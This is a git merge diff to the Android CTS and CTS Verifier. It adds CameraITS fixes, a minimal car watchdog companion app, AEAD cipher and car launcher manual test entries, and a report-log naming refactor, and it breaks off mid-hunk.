Merge "MediaMetadataRetrieverTest: Fix path to hasCodecForResourceAndDomain()"
diff --git a/apps/CameraITS/tests/its_base_test.py b/apps/CameraITS/tests/its_base_test.py
index afa0128..0bd1093 100644
--- a/apps/CameraITS/tests/its_base_test.py
+++ b/apps/CameraITS/tests/its_base_test.py
@@ -176,6 +176,8 @@
             # For some tablets the values are in constant forms such as ROTATION_90
             if 'ROTATION_90' in landscape_val:
                 landscape_val = '1'
+            elif 'ROTATION_0' in landscape_val:
+                landscape_val = '0'
             logging.debug('Changing the orientation to landscape mode.')
             self.tablet.adb.shell(['settings', 'put', 'system', 'user_rotation',
                                    landscape_val])
diff --git a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
index 4d5a36f..b2b953c 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
@@ -115,7 +115,8 @@
   props = cam.get_camera_properties()
   props = cam.override_with_hidden_physical_camera_props(props)
   camera_properties_utils.skip_unless(
-      camera_properties_utils.sensor_fusion_capable(props))
+      camera_properties_utils.sensor_fusion_capable(props) and
+      cam.get_sensors().get('gyro'))
 
   # Start camera rotation.
   p = multiprocessing.Process(
diff --git a/apps/CameraITS/tools/run_all_tests.py b/apps/CameraITS/tools/run_all_tests.py
old mode 100644
new mode 100755
index 25bcece..5109d0a
--- a/apps/CameraITS/tools/run_all_tests.py
+++ b/apps/CameraITS/tools/run_all_tests.py
@@ -138,7 +138,7 @@
     ],
 }
 
-_DST_SCENE_DIR = '/mnt/sdcard/Download/'
+_DST_SCENE_DIR = '/sdcard/Download/'
 MOBLY_TEST_SUMMARY_TXT_FILE = 'test_mobly_summary.txt'
 
 
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp b/apps/CarWatchdogCompanionApp/Android.bp
similarity index 69%
rename from hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp
rename to apps/CarWatchdogCompanionApp/Android.bp
index ec76abd..a87902a 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp
+++ b/apps/CarWatchdogCompanionApp/Android.bp
@@ -1,4 +1,5 @@
-// Copyright (C) 2021 The Android Open Source Project
+//
+// Copyright (C) 2022 The Android Open Source Project
 //
 // Licensed under the Apache License, Version 2.0 (the "License");
 // you may not use this file except in compliance with the License.
@@ -11,25 +12,19 @@
 // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 // See the License for the specific language governing permissions and
 // limitations under the License.
+//
 
 package {
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
 android_test_helper_app {
-    name: "CVE-2021-0481",
-    defaults: ["cts_support_defaults"],
+    name: "CtsCarWatchdogCompanionApp",
+    defaults: ["cts_defaults"],
     srcs: ["src/**/*.java"],
+    sdk_version: "current",
     test_suites: [
         "cts",
-        "vts10",
-        "sts",
+        "general-tests",
     ],
-    static_libs: [
-        "androidx.test.rules",
-        "androidx.test.uiautomator_uiautomator",
-        "androidx.test.core",
-        "androidx.appcompat_appcompat",
-    ],
-    sdk_version: "current",
 }
diff --git a/apps/CarWatchdogCompanionApp/AndroidManifest.xml b/apps/CarWatchdogCompanionApp/AndroidManifest.xml
new file mode 100644
index 0000000..a263539
--- /dev/null
+++ b/apps/CarWatchdogCompanionApp/AndroidManifest.xml
@@ -0,0 +1,16 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.car.watchdog_companionapp">
+
+    <application android:label="CtsCarWatchdogCompanionApp">
+        <activity android:name=".CarWatchdogCompanionActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+            <meta-data android:name="distractionOptimized" android:value="true"/>
+        </activity>
+    </application>
+</manifest>
diff --git a/apps/CarWatchdogCompanionApp/OWNERS b/apps/CarWatchdogCompanionApp/OWNERS
new file mode 100644
index 0000000..b1bb28d
--- /dev/null
+++ b/apps/CarWatchdogCompanionApp/OWNERS
@@ -0,0 +1,5 @@
+# Bug component: 608533
+felipeal@google.com
+jahdiel@google.com
+keunyoung@google.com
+lakshmana@google.com
diff --git a/apps/CarWatchdogCompanionApp/res/layout/car_watchdog_companion_activity.xml b/apps/CarWatchdogCompanionApp/res/layout/car_watchdog_companion_activity.xml
new file mode 100644
index 0000000..c24cca9
--- /dev/null
+++ b/apps/CarWatchdogCompanionApp/res/layout/car_watchdog_companion_activity.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2022 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<TextView xmlns:android="http://schemas.android.com/apk/res/android" android:id="@+id/text"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:textSize="20sp"
+    android:gravity="center"
+    android:text="@string/car_watchdog_companion_activity_text" />
diff --git a/apps/CarWatchdogCompanionApp/res/values/strings.xml b/apps/CarWatchdogCompanionApp/res/values/strings.xml
new file mode 100644
index 0000000..341483f
--- /dev/null
+++ b/apps/CarWatchdogCompanionApp/res/values/strings.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2022 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <string name="car_watchdog_companion_activity_text">
+        Welcome to the CTS Verifier Car Watchdog Companion App!
+    </string>
+</resources>
diff --git a/apps/CarWatchdogCompanionApp/src/com/android/cts/car/watchdog_companionapp/CarWatchdogCompanionActivity.java b/apps/CarWatchdogCompanionApp/src/com/android/cts/car/watchdog_companionapp/CarWatchdogCompanionActivity.java
new file mode 100644
index 0000000..4c7fa82
--- /dev/null
+++ b/apps/CarWatchdogCompanionApp/src/com/android/cts/car/watchdog_companionapp/CarWatchdogCompanionActivity.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.car.watchdog_companionapp;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+/**
+ * A minimal application for Car's CTS Verifier Tests.
+ */
+public class CarWatchdogCompanionActivity extends Activity {
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.car_watchdog_companion_activity);
+    }
+}
diff --git a/apps/CtsVerifier/Android.bp b/apps/CtsVerifier/Android.bp
index 628f234..9dd3a3b 100644
--- a/apps/CtsVerifier/Android.bp
+++ b/apps/CtsVerifier/Android.bp
@@ -190,6 +190,7 @@
 genrule {
     name: "android-cts-verifier",
     srcs: [
+        ":android-cts-verifier-notice",
         ":apps_to_include",
         ":CtsVerifier",
         ":camera-its",
@@ -199,7 +200,7 @@
         "merge_zips",
     ],
     out: ["android-cts-verifier.zip"],
-    cmd: "echo $(locations :apps_to_include) $(location :CtsVerifier) > $(genDir)/list &&" +
+    cmd: "echo $(locations :apps_to_include) $(location :CtsVerifier) $(location :android-cts-verifier-notice) > $(genDir)/list &&" +
         " $(location soong_zip) -o $(genDir)/cts-verifier.zip -j -P android-cts-verifier -l $(genDir)/list &&" +
         " $(location merge_zips) $(out) $(genDir)/cts-verifier.zip $(location :camera-its)",
     dists: [
@@ -209,6 +210,13 @@
     ],
 }
 
+gen_notice {
+    name: "android-cts-verifier-notice",
+    for: ["android-cts-verifier"],
+    stem: "NOTICE",
+    suffix: ".txt",
+}
+
 filegroup {
     name: "android-cts-verifier-for-make",
     srcs: [":android-cts-verifier"],
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 5dbf65c..218a805 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -1685,6 +1685,72 @@
         </activity>
 
         <activity
+            android:name=".biometrics.UserAuthenticationCredentialAeadCipherTest"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
+            android:label="@string/biometric_test_set_user_authentication_credential_aead_cipher_label" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data android:name="test_category" android:value="@string/biometric_test_category_combination" />
+            <meta-data android:name="test_parent"
+                       android:value="com.android.cts.verifier.biometrics.BiometricTestList" />
+            <meta-data android:name="test_required_features" android:value="android.software.secure_lock_screen" />
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch" />
+            <meta-data android:name="display_mode"
+                       android:value="multi_display_mode" />
+            <meta-data android:name="ApiTest" android:value="javax.crypto.Cipher#updateAAD"/>
+        </activity>
+
+        <activity
+            android:name=".biometrics.UserAuthenticationBiometricAeadCipherTest"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
+            android:label="@string/biometric_test_set_user_authentication_biometric_aead_cipher_label" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data android:name="test_category" android:value="@string/biometric_test_category_combination" />
+            <meta-data android:name="test_parent"
+                       android:value="com.android.cts.verifier.biometrics.BiometricTestList" />
+            <meta-data android:name="test_required_features" android:value="android.software.secure_lock_screen" />
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch" />
+            <meta-data android:name="display_mode"
+                       android:value="multi_display_mode" />
+            <meta-data android:name="ApiTest" android:value="javax.crypto.Cipher#updateAAD"/>
+        </activity>
+
+        <activity
+            android:name=".biometrics.UserAuthenticationBiometricOrCredentialAeadCipherTest"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
+            android:label="@string/biometric_test_set_user_authentication_biometric_credential_aead_cipher_label" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data android:name="test_category" android:value="@string/biometric_test_category_combination" />
+            <meta-data android:name="test_parent"
+                       android:value="com.android.cts.verifier.biometrics.BiometricTestList" />
+            <meta-data android:name="test_required_features" android:value="android.software.secure_lock_screen" />
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch" />
+            <meta-data android:name="display_mode"
+                       android:value="multi_display_mode" />
+            <meta-data android:name="ApiTest" android:value="javax.crypto.Cipher#updateAAD"/>
+        </activity>
+
+        <activity
             android:name=".biometrics.UserAuthenticationCredentialSignatureTest"
             android:configChanges="keyboardHidden|orientation|screenSize"
             android:exported="true"
@@ -1825,6 +1891,8 @@
                        android:value="android.software.secure_lock_screen" />
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
+            <meta-data android:name="CddTest"
+                       android:value="9.11.3/C-0-2" />
         </activity>
 
         <activity android:name=".security.IdentityCredentialAuthenticationMultiDocument"
@@ -1842,6 +1910,8 @@
                        android:value="android.software.secure_lock_screen" />
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
+            <meta-data android:name="CddTest"
+                       android:value="9.11.3/C-0-2" />
         </activity>
 
         <activity android:name=".security.FingerprintBoundKeysTest"
@@ -1859,6 +1929,8 @@
                        android:value="android.hardware.fingerprint:android.software.secure_lock_screen" />
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="CddTest"
+                       android:value="9.11.1/C-4-1" />
         </activity>
 
         <activity android:name=".security.ProtectedConfirmationTest"
@@ -1872,6 +1944,8 @@
             <meta-data android:name="test_category" android:value="@string/test_category_security" />
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
+            <meta-data android:name="CddTest"
+                       android:value="9.10/C-3-1|9.10/C-3-2|9.10/C-3-3" />
         </activity>
 
         <activity android:name=".security.ScreenLockBoundKeysTest"
@@ -1889,6 +1963,8 @@
                     android:value="android.software.device_admin:android.software.secure_lock_screen" />
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="CddTest"
+                       android:value="9.11/C-1-3" />
         </activity>
 
         <activity android:name=".security.UnlockedDeviceRequiredTest"
@@ -2038,6 +2114,9 @@
             <meta-data android:name="test_required_features" android:value="android.hardware.wifi" />
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
+            <meta-data android:name="CddTest" android:value="7.4.5.2" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.ConnectivityManager#registerNetworkCallback|android.net.ConnectivityManager#unregisterNetworkCallback|android.net.ConnectivityManager#getLinkProperties" />
         </activity>
 
         <activity android:name=".net.MultiNetworkConnectivityTestActivity"
@@ -2054,6 +2133,8 @@
                        android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch" />
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.ConnectivityManager#getNetworkCapabilities|android.net.ConnectivityManager#getAllNetworks|android.net.ConnectivityManager#requestNetwork|android.net.ConnectivityManager#unregisterNetworkCallback|android.net.ConnectivityManager#getActiveNetwork|android.net.ConnectivityManager#getNetworkInfo|android.net.ConnectivityManager#reportNetworkConnectivity" />
         </activity>
 
         <activity android:name=".nfc.NfcTestActivity"
@@ -5307,6 +5388,20 @@
                        android:value="multi_display_mode" />
         </activity>
 
+        <activity android:name=".car.CarLauncherTestActivity"
+                  android:exported="true"
+                  android:label="@string/car_launcher_test">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_car" />
+            <meta-data android:name="test_required_features"
+                       android:value="android.hardware.type.automotive"/>
+            <meta-data android:name="display_mode"
+                       android:value="multi_display_mode" />
+        </activity>
+
         <!-- 6DoF sensor test -->
         <activity
                 android:name="com.android.cts.verifier.sensors.sixdof.Activities.StartActivity"
diff --git a/apps/CtsVerifier/res/layout/ble_advertising_set.xml b/apps/CtsVerifier/res/layout/ble_advertising_set.xml
index 06225d9..9955848 100644
--- a/apps/CtsVerifier/res/layout/ble_advertising_set.xml
+++ b/apps/CtsVerifier/res/layout/ble_advertising_set.xml
@@ -14,7 +14,7 @@
   ~ See the License for the specific language governing permissions and
   ~ limitations under the License.
   -->
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
               android:orientation="vertical"
               android:layout_width="match_parent"
               android:layout_height="wrap_content">
@@ -26,12 +26,16 @@
     <Button android:id="@+id/ble_advertising_set_start_test"
             android:layout_width="wrap_content"
             android:layout_height="wrap_content"
+            android:layout_below="@id/ble_advertising_set_test_instruction"
             android:text="@string/ble_advertising_set_start_test"/>
     <ListView android:id="@+id/ble_advertising_set_tests"
               android:layout_width="match_parent"
               android:layout_height="wrap_content"
+              android:layout_below="@id/ble_advertising_set_start_test"
+              android:layout_above="@id/pass_fail_buttons"
               android:padding="10dip"/>
     <include android:layout_width="match_parent"
              android:layout_height="wrap_content"
+             android:layout_alignParentBottom="true"
              layout="@layout/pass_fail_buttons"/>
-</LinearLayout>
+</RelativeLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/car_launcher_test_main.xml b/apps/CtsVerifier/res/layout/car_launcher_test_main.xml
new file mode 100644
index 0000000..675e610
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/car_launcher_test_main.xml
@@ -0,0 +1,59 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+     Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent"
+              android:orientation="vertical"
+              android:gravity="center_horizontal"
+              style="@style/RootLayoutPadding">
+
+    <ScrollView
+        android:layout_width="match_parent"
+        android:layout_height="0dp"
+        android:layout_weight="1"
+        android:orientation="vertical">
+
+        <LinearLayout
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:gravity="center_horizontal"
+            android:orientation="vertical" >
+
+            <TextView
+                android:id="@+id/car_launcher_test_description"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:padding="10dp"
+                android:text="@string/car_launcher_test_desc"
+                style="@style/InstructionsSmallFont"/>
+
+            <Button
+                android:id="@+id/car_launcher_test_button"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:text="@string/car_launcher_test_button_label"
+                android:layout_margin="24dp"/>
+        </LinearLayout>
+    </ScrollView>
+
+    <include
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_weight="0"
+        layout="@layout/pass_fail_buttons" />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/sec_protected_confirmation_main.xml b/apps/CtsVerifier/res/layout/sec_protected_confirmation_main.xml
index ffa8d46..90a2c58 100644
--- a/apps/CtsVerifier/res/layout/sec_protected_confirmation_main.xml
+++ b/apps/CtsVerifier/res/layout/sec_protected_confirmation_main.xml
@@ -68,6 +68,56 @@
 
     </LinearLayout>
 
+    <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+                  android:id="@+id/sec_protected_confirmation_tee_negative_layout"
+                  android:layout_width="wrap_content"
+                  android:layout_height="wrap_content"
+                  android:padding="10dp"
+                  android:orientation="horizontal"
+                  android:layout_centerInParent="true"
+                  android:layout_below="@id/sec_protected_confirmation_strongbox_layout"
+                  android:gravity="center"
+                  >
+
+        <Button android:id="@+id/sec_start_tee_negative_test_button"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:text="@string/sec_protected_confirmation_tee_negative_test"
+        />
+
+        <ImageView android:id="@+id/sec_protected_confirmation_tee_negative_test_success"
+                   android:layout_width="wrap_content"
+                   android:layout_height="wrap_content"
+                   android:src="@drawable/fs_good"
+        />
+
+    </LinearLayout>
+
+    <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+                  android:id="@+id/sec_protected_confirmation_strongbox_negative_layout"
+                  android:layout_width="wrap_content"
+                  android:layout_height="wrap_content"
+                  android:padding="10dp"
+                  android:orientation="horizontal"
+                  android:layout_centerHorizontal="true"
+                  android:layout_below="@id/sec_protected_confirmation_tee_negative_layout"
+                  android:gravity="center"
+                  >
+
+        <Button android:id="@+id/sec_start_test_strongbox_negative_button"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:text="@string/sec_protected_confirmation_strongbox_negative_test"
+        />
+
+        <ImageView android:id="@+id/sec_protected_confirmation_strongbox_negative_test_success"
+                   android:layout_width="wrap_content"
+                   android:layout_height="wrap_content"
+                   android:src="@drawable/fs_good"
+        />
+
+    </LinearLayout>
+
     <include android:layout_width="match_parent"
              android:layout_height="wrap_content"
              android:layout_alignParentBottom="true"
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 8a6332b..587f6a2 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -180,6 +180,24 @@
         framework correctly tries to open the CAR_DOCK app again.</string>
     <string name="car_mode_enable">Enable Car Mode</string>
     <string name="car_dock_activity_text">Press the Home button</string>
+    <string name="car_launcher_test">Car Launcher Test</string>
+    <string name="car_launcher_test_desc">This test ensures that the car launcher lists apps
+        disabled by car service due to system resource overuse.\n\n
+        <b>
+            Before proceeding, check if \'com.android.cts.car.watchdog_companionapp\'
+            (aka CtsCarWatchdogCompanionApp) is installed by going to Settings &gt; Apps. If not,
+            please install the app before proceeding.\n\n
+        </b>
+        1. Check if the CtsCarWatchdogCompanionApp is visible in car launcher\'s app grid view. If
+        it is not listed, pass the test.\n
+        2. Run the
+        \'adb shell cmd car_service watchdog-resource-overuse-kill com.android.cts.car.watchdog_companionapp\'
+        shell command to disable the app because of system resource overuse.\n
+        3. Click on \"Open Launcher\". Make sure the CtsCarWatchdogCompanionApp is displayed. If it
+        is not listed, fail the test.\n
+        4. Open CtsCarWatchdogCompanionApp from the launcher.\n\n
+        Pass the test only if the companion app opened successfully.</string>
+    <string name="car_launcher_test_button_label">Open Launcher</string>
     <string name="gear_selection_test">Gear Selection Test</string>
     <string name="gear_selection_test_desc">This test ensures that the
       GEAR_SELECTION property is implemented correctly.\n\nShift the car\'s
@@ -328,6 +346,9 @@
     <string name="biometric_test_set_user_authentication_credential_mac_label">4g: MAC, Credential</string>
     <string name="biometric_test_set_user_authentication_biometric_mac_label">4h: MAC, Biometric</string>
     <string name="biometric_test_set_user_authentication_biometric_or_credential_mac_label">4i: MAC, Biometric|Credential</string>
+    <string name="biometric_test_set_user_authentication_credential_aead_cipher_label">4j: Aead Cipher, Credential</string>
+    <string name="biometric_test_set_user_authentication_biometric_aead_cipher_label">4k: Aead Cipher, Biometric</string>
+    <string name="biometric_test_set_user_authentication_biometric_credential_aead_cipher_label">4l: Aead Cipher, Biometric or Credential</string>
     <string name="biometric_test_set_user_authentication_credential_instructions">This test checks the correctness of the KeyGenParameterSpec.Builder#setUserAuthenticationParameters(int, int) API for AUTH_DEVICE_CREDENTIAL.
         Buttons for completed tasks will become invisible. It\'s normal for buttons to be disabled for a few seconds during this test.</string>
     <string name="biometric_test_set_user_authentication_biometric_instructions">This test checks the correctness of the KeyGenParameterSpec.Builder#setUserAuthenticationParameters(int, int) API for AUTH_BIOMETRIC_STRONG.
@@ -380,6 +401,8 @@
     <string name="sec_protected_confirmation_message">This is a CtsVerifier test message!</string>
     <string name="sec_protected_confirmation_tee_test">Start Tee Test</string>
     <string name="sec_protected_confirmation_strongbox_test">Start Strongbox Test</string>
+    <string name="sec_protected_confirmation_tee_negative_test">Start Tee Negative Test</string>
+    <string name="sec_protected_confirmation_strongbox_negative_test">Start Strongbox Negative Test</string>
 
     <!-- Strings for IdentityAuthPerPresenation -->
     <string name="sec_identity_credential_authentication_test">Identity Credential Authentication</string>
@@ -760,7 +783,7 @@
     <!-- BLE Advertising Set test strings -->
     <string name="ble_advertising_set_test_name">Bluetooth LE Advertising Set Test</string>
     <string name="ble_advertising_set_test_info">Bluetooth LE Advertising Set tests AdvertisingSet and AdvertisingSetCallback APIs.</string>
-    <string name="ble_advertising_set_test_instruction">Press the \"Set Up\" button first, then start the test by pressing the \"Start Test\" button. UI thread may freeze for a few seconds while enabling/disabling bluetooth adapter.</string>
+    <string name="ble_advertising_set_test_instruction">Press the \"Start Test\" button. UI thread may freeze for a few seconds while enabling/disabling bluetooth adapter.</string>
     <string name="ble_advertising_set_start_test">Start Test</string>
     <string name="ble_advertising_set_running_test">Running Test...</string>
     <string name="ble_advertising_set_finished_test">Finished Test</string>
@@ -3657,6 +3680,11 @@
             Device Owner. Then press the button below, and check that CTSVerifier is NOT Device
             Owner anymore.
     </string>
+    <string name="device_owner_remove_device_owner_test_info_on_tv">
+            Please check in Settings &gt; Privacy &gt; Security &amp; Restrictions &gt; Device Administrators if CTSVerifier is
+            Device Owner. Then press the button below, and check that CTSVerifier is NOT Device
+            Owner anymore.
+    </string>
     <string name="remove_device_owner_button">Remove device owner</string>
     <string name="device_owner_check_device_owner_test">Check device owner</string>
     <string name="device_owner_check_profile_owner_test">Check profile owner</string>
@@ -3961,12 +3989,13 @@
     <string name="device_owner_disallow_config_bt">Disallow configuring Bluetooth</string>
     <string name="device_owner_disallow_config_bt_info">
         Please press the Set restriction button to set the user restriction.
-        Then press Go to open the Bluetooth page in Settings.
-        Confirm that:\n
-        \n
+        Then press Go, you should either see (a) the Bluetooth settings page or (b) trigger a support message directly.\n
+        In the case of (a), confirm that:\n
         - You cannot view Bluetooth devices in range.\n
         - Trying to edit, add or remove any already paired devices triggers a support message.\n
         \n
+        In the case of (b) this step is successful.\n
+        \n
         Use the Back button to return to this page.
     </string>
     <string name="device_owner_disallow_config_wifi">Disallow configuring WiFi</string>
@@ -4232,6 +4261,34 @@
     <string name="disallow_outgoing_beam">Disallow outgoing beam</string>
     <string name="disallow_outgoing_beam_action">Switching on android beam</string>
     <string name="disallow_remove_user">Disallow remove user</string>
+    <string name="check_new_user_disclaimer">Check new user disclaimer</string>
+    <string name="check_new_user_disclaimer_info">
+        Please do the following: \n\n
+        1. Check persistent notification for managed device \n\n
+        a). Open the notification UI, verify that there is a notification saying the device is managed.\n
+        b). Tap the notification\n
+        c). It should show a dialog explaining the device is managed and asking the user to accept \n
+        d). Don\'t accept initially and tap outside the dialog \n
+        e). Open the notification UI again, verify that the managed device notification is still shown \n
+        \n
+        f). Click \"Set Org\", and open the notification UI again, verify that the organization name
+        \"Foo, Inc\" is shown on the dialog \n
+        \n\n
+        2. Check adding account is restricted\n\n
+        a) Click \"Go\" to launch the \"Profiles &amp; accounts\" setting \n
+        b) navigate to \"Add account\" \n
+        \n
+        Expected: \n
+        - \"Add account\" is disabled \n
+        - Click the button will launch the new user disclaimer dialog\n
+        \n
+        c) Click accept button\n
+        \n
+        Expected: \n
+        - the screen will be dismissed \n
+        - \"Add account\" will be enabled\n
+        - Click the button will take user to the screen to add account \n
+    </string>
     <string name="device_owner_disallow_remove_user_info">
         Please press \'Create uninitialized user\' to create a user that is not set up. Then press the
         \'Set restriction\' button to set the user restriction.
@@ -5014,6 +5071,8 @@
     <!-- A list of fully-qualified test classes that should not be run. -->
     <string-array name="disabled_tests">
         <item>com.android.cts.verifier.telecom.CtsVerifierInCallUi</item>
+        <item>com.android.cts.verifier.car.CarDockActivity</item>
+        <item>com.android.cts.verifier.car.CarDockTestActivity</item>
     </string-array>
 
     <!-- Strings for screen pinning test -->
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java b/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java
index 4bd642d..0294ff7 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java
@@ -70,7 +70,10 @@
     private static final String INFO_DIALOG_MESSAGE_ID = "infoDialogMessageId";
 
     // ReportLog file for CTS-Verifier. The "stream" name gets mapped to the test class name.
-    private static final String REPORT_LOG_NAME = "CTS-Verifier-Log";
+    public static final String GENERAL_TESTS_REPORT_LOG_NAME = "CtsVerifierGeneralTestCases";
+    public static final String AUDIO_TESTS_REPORT_LOG_NAME = "CtsVerifierAudioTestCases";
+
+    private static final String SECTION_UNDEFINED = "undefined_section_name";
 
     // Interface mostly for making documentation and refactoring easier...
     public interface PassFailActivity {
@@ -112,10 +115,16 @@
         void setTestResultAndFinish(boolean passed);
 
         /**
-         * @return A unique name (derived from the test class name) to serve as a section
-         * header in the CtsVerifierReportLog file.
+         * @return The name of the file to store the (suite of) ReportLog information.
          */
-        String getReportSectionName();
+        public String getReportFileName();
+
+        /**
+         * @return A unique name to serve as a section header in the CtsVerifierReportLog file.
+         * Tests need to conform to the underscore_delineated_name standard for use with
+         * the protobuff/json ReportLog parsing in Google3
+         */
+        public String getReportSectionName();
 
         /**
          * Test subclasses can override this to record their CtsVerifierReportLogs.
@@ -138,7 +147,7 @@
         private final TestResultHistoryCollection mHistoryCollection;
 
         public Activity() {
-            this.mReportLog = new CtsVerifierReportLog(REPORT_LOG_NAME, getReportSectionName());
+            this.mReportLog = new CtsVerifierReportLog(getReportFileName(), getReportSectionName());
             this.mHistoryCollection = new TestResultHistoryCollection();
         }
 
@@ -202,9 +211,15 @@
             return mReportLog;
         }
 
+        /**
+         * @return The name of the file to store the (suite of) ReportLog information.
+         */
         @Override
-        public final String getReportSectionName() {
-            return setTestNameSuffix(sCurrentDisplayMode, getClass().getName());
+        public String getReportFileName() { return GENERAL_TESTS_REPORT_LOG_NAME; }
+
+        @Override
+        public String getReportSectionName() {
+            return setTestNameSuffix(sCurrentDisplayMode, SECTION_UNDEFINED);
         }
 
         @Override
@@ -240,7 +255,7 @@
         private final TestResultHistoryCollection mHistoryCollection;
 
         public ListActivity() {
